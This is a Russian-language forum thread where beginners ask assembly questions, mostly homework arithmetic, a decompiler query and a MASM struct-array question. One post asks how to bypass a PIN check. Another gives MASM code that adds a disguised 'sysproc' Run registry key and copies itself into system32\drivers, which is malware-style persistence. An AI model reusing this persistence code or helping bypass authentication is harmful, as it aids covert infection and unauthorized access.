[ Assembler ] — начинающим: задаем вопросы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by !_filin_!, 25 May 2007.

  1. bad_boy

    bad_boy Elder - Старейшина

    Joined:
    30 Dec 2004
    Messages:
    187
    Likes Received:
    33
    Reputations:
    3
    maked0n
    Code:
    .386
    .model flat, stdcall
    .code
    start:
     mov eax, 2
     add eax, 3
     ret 
    end start
    
     
    2 people like this.
  2. emnm

    emnm New Member

    Joined:
    16 Nov 2010
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте уважаемые!
    Для данного выражения нужно написать код, кто может помочь?

    (2*c + a-21) / (c/a*b+1);

    include.irvine32.inc
    .data
    ..........
    ..........
     
  3. becensed

    becensed Member

    Joined:
    2 Dec 2009
    Messages:
    84
    Likes Received:
    24
    Reputations:
    1
    FPU проходили уже?:)
     
  4. emnm

    emnm New Member

    Joined:
    16 Nov 2010
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Нет, еще не проходили...
    Помогите кто нибудь с кодом.
     
  5. becensed

    becensed Member

    Joined:
    2 Dec 2009
    Messages:
    84
    Likes Received:
    24
    Reputations:
    1
    Code:
            .386
            .model flat, stdcall
            locals
            
            .DATA
    
        a   dd  1
        b   dd  2
        c   dd  3
            
            .CODE
    
    start:
           
            mov     eax, c
            mov     ecx, a
            lea     ecx, dword ptr [ecx+eax*2-21]   ; (2*c + a-21)
    
            ;(c/a*b+1)
            cdq
            idiv    a       ; c/a
            mov     esi, eax
            imul    esi, b  ;*b
            inc     esi     ;+1
    
            mov     eax, ecx
            cdq
            idiv    esi 
    
            ret
    end start
    попробуй так, может даже правильно будет, не знаю.
     
    1 person likes this.
  6. dimitrinr

    dimitrinr New Member

    Joined:
    5 Nov 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Ищу Декомпайлер для простых програм которые были написаны в С. Програмы были написаны и склеены с помощью 64 битного gcc. Обычные декомпайлеры (бумеранг, ИДА и т.д. 64битные фаелы не поддерживат).
     
  7. Catbert

    Catbert Banned

    Joined:
    29 Jun 2010
    Messages:
    80
    Likes Received:
    27
    Reputations:
    10
    Поддерживает их IDA. И разделом ошибся, тебе в реверсинг
     
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    IDA 5.2
    idag64.exe надо запускать
    Ну и поставь плагин HEX-Ray чтобы красивши всё выглядело
     
  9. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    Code:
    ;Вывести номера байта содержащие 1 
    DOSSEG
    .MODEL SMALL
    .STACK 100h 
    .DATA 
    
    
    .CODE
    mov ax,@data  
    mov ds,ax
    
    ; Ввод байта с клавиатуры 
    ; Байт велся в регистр al
    
    mov ah,1
    int 21h
    
    ;Цикл
    mov cx,8
    L1:
    sal al,1
    jnc L2 
    ;Вывод на экран содержимого al
    mov dl,cl
    
    add dl,30h
    mov ah,6
    int 21h
    
    L2: loop L1 ;(конец цыкла)
    
    
    mov ah,4ch
    int 21h
    END
    собственно что тут неправильно???
     
  10. becensed

    becensed Member

    Joined:
    2 Dec 2009
    Messages:
    84
    Likes Received:
    24
    Reputations:
    1
    Не знаю насчет логики, но отсутствие start и end start бросились в глаза:)
     
  11. sToryTeller

    sToryTeller New Member

    Joined:
    28 Nov 2010
    Messages:
    12
    Likes Received:
    3
    Reputations:
    0
    я откомпилил и так работает
     
  12. EoGeneo

    EoGeneo Member

    Joined:
    29 Aug 2009
    Messages:
    127
    Likes Received:
    9
    Reputations:
    1
    Выручайте, вот кусок кода на Asm нужно обойти ввод пинкода, как я понял тут и проходит авторизация...или может быть тут можно уловить пинкод? +++ за умные мысли :D
     
  13. sToryTeller

    sToryTeller New Member

    Joined:
    28 Nov 2010
    Messages:
    12
    Likes Received:
    3
    Reputations:
    0
    ну хочешь пин код поймать,смотри куда в последний раз записывается я думаю это не проблематично если код твой,потому что кол-во комментариев всей картины явно не открывает тем более часть кода.
    на каком то ведь этапе пин код всё равно вылазит.
     
    1 person likes this.
  14. EoGeneo

    EoGeneo Member

    Joined:
    29 Aug 2009
    Messages:
    127
    Likes Received:
    9
    Reputations:
    1
    Могу скинуть весь код в личку для оценки, я вообще в Asm не шарю, был бы рад помощи. Кидать? Глянешь?
     
  15. totenkopf

    totenkopf Elder - Старейшина

    Joined:
    19 Jul 2010
    Messages:
    92
    Likes Received:
    64
    Reputations:
    19
    Masm32 массивы

    Вопрос по masm32.
    Есть массив состоящий из структур

    SHARE_INFO_2 struct
    shi2_netname dd ?
    shi2_type dd ?
    shi2_remark dd ?
    shi2_permissions dd ?
    shi2_max_uses dd ?
    shi2_current_uses dd ?
    shi2_path dd ?
    shi2_passwd dd ?
    SHARE_INFO_2 ends


    обьявлен так:
    buf SHARE_INFO_2 100 dup(<>)
    Функция заполняет его и выдает количество записей tr
    Как выбирать значения в цикле? Скажем buf.shi2_permissions

    Mov ecx,tr
    Loopz: push ecx
    ???????????
    pop ecx
    Loop Loopz
     
  16. becensed

    becensed Member

    Joined:
    2 Dec 2009
    Messages:
    84
    Likes Received:
    24
    Reputations:
    1
    В гугле по запросу "массив структур ассемблер" можно найти много интересного.
    например это
     
  17. Tverskoy

    Tverskoy New Member

    Joined:
    29 Jul 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Скопировать свое тело в каталог и добавится в автозагрузку

    Собственно задача в сабже, вот код на ASM'е

    Code:
    .386
    .model flat, stdcall
    option casemap :none
    
    ;modules
    include \masm32\include\windows.inc
    include \masm32\include\kernel32.inc
    include \masm32\include\user32.inc
    ;libs
    includelib \masm32\lib\kernel32.lib
    includelib \masm32\lib\wininet.lib
    includelib \masm32\lib\user32.lib
    
    
    .data
    lpCmdLine BYTE "C:\WINDOWS\system32\cmd.exe /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v sysproc /t REG_SZ /d C:\WINDOWS\system32\drivers\sysproc.exe /f",0
    saveadr db "C:\WINDOWS\system32\drivers\sysproc.exe",0
    .data?
    buf            db     1024     dup        (?)
    .code
    
    Main proc
    invoke WinExec,offset lpCmdLine,1
    invoke GetModuleHandle, NULL
    invoke GetModuleFileName, eax, addr buf, SIZEOF buf
    invoke CopyFile, addr buf, addr saveadr, TRUE
    invoke  ExitProcess,0
    Main endp
    end Main
    
    Строку в реестре он создает, но вот с копированием самого себя в "C:\WINDOWS\system32\drivers\sysproc.exe" косяк...
     
    #837 Tverskoy, 16 Dec 2010
    Last edited: 16 Dec 2010
  18. emnm

    emnm New Member

    Joined:
    16 Nov 2010
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Ребята, помогите решить этот пример.
    Что здесь нужно сделать?



    b/a, если a>b;
    22, если a=b;
    a-9, если a<b;
     
    #838 emnm, 16 Dec 2010
    Last edited: 17 Dec 2010
  19. Tor Bel

    Tor Bel New Member

    Joined:
    13 Dec 2008
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Tverskoy
    GetLastError что говорит?
     
  20. becensed

    becensed Member

    Joined:
    2 Dec 2009
    Messages:
    84
    Likes Received:
    24
    Reputations:
    1
    это я хочу спросить ,что здесь надо сделать?:)
    Введи а и b. смотри, если а больше, то дели, если равно, то 22 (присвой или выведи как результат), если меньше, то вычти из а девяточку. Что сложного-то?